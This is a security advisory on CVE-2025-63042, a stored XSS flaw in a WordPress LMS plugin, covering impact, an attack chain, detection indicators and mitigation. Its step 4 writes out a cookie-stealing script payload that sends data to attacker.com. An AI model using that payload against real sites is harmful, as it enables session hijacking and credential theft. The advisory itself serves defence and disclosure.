CVE-2025-63042: 
WordPress vulnerability analysis and mitigation

CVE-2025-63042 is a Stored Cross-Site Scripting (XSS) vulnerability in the Themeum Tutor LMS Elementor Addons WordPress plugin (tutor-lms-elementor-addons). It affects all versions from n/a through 3.0.1 and was disclosed on December 9, 2025, with Patchstack credited as the assigner. The vulnerability carries a CVSS v3.1 base score of 6.5 (Medium) (Feedly, Patchstack).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). It is a stored XSS flaw, meaning malicious scripts are persisted server-side and executed in victims' browsers when they view affected content. Exploitation requires the attacker to be authenticated with low-level privileges and requires user interaction (e.g., a victim visiting a page containing the injected payload). The attack vector is network-based with low complexity, and the scope is changed, indicating impact can extend beyond the vulnerable component (Feedly).

Successful exploitation allows an authenticated attacker to inject persistent malicious scripts into pages rendered by the Tutor LMS Elementor Addons plugin, which execute in the context of other users' browsers. This can result in session hijacking, credential theft, unauthorized actions performed on behalf of victims, and limited availability disruption. The changed scope indicates that the impact can extend to users and components beyond the plugin itself, such as site administrators or other authenticated users (Feedly).

No public proof-of-concept exploit code or evidence of active in-the-wild exploitation has been reported for CVE-2025-63042 as of the available data. The EPSS score is approximately 0.042%, indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires a low-privileged authenticated account on the target WordPress site (Feedly).

1. Reconnaissance: Identify WordPress sites running the Tutor LMS Elementor Addons plugin at version 3.0.1 or earlier, using tools like WPScan or manual inspection of plugin directories.
2. Obtain low-privileged access: Register or obtain a low-privileged account on the target WordPress site (e.g., subscriber or student role).
3. Locate injectable field: Identify the vulnerable input field(s) within the Tutor LMS Elementor Addons plugin interface that lack proper output sanitization.
4. Inject malicious payload: Submit a crafted XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the vulnerable field.
5. Payload persistence: The malicious script is stored server-side and rendered to any user who views the affected page or widget.
6. Victim interaction: When a victim (e.g., an administrator) visits the page containing the injected content, the script executes in their browser, enabling session hijacking, credential theft, or further attacks (Feedly).

• Logs: WordPress access logs showing POST requests to plugin-related endpoints with encoded or obfuscated script tags (e.g., <script>, %3Cscript%3E, javascript:) in request bodies.
• Database: Unexpected JavaScript or HTML script tags stored in WordPress database fields associated with Tutor LMS Elementor Addons plugin content or widget settings.
• Network: Outbound requests from victim browsers to unknown external domains shortly after visiting pages rendered by the plugin, potentially indicating cookie or credential exfiltration.
• File System: Unexpected modifications to plugin template or widget files that may indicate secondary payload delivery following initial XSS exploitation.

Users should update the Tutor LMS Elementor Addons plugin to a version beyond 3.0.1 that addresses this vulnerability. Until a patch is confirmed and applied, administrators should restrict plugin access to trusted users only and consider disabling the affected plugin if not critical to operations. Implementing a Web Application Firewall (WAF) with XSS filtering rules can provide an additional layer of defense. Regularly auditing stored content in the WordPress database for unexpected script tags is also recommended (Feedly, Patchstack).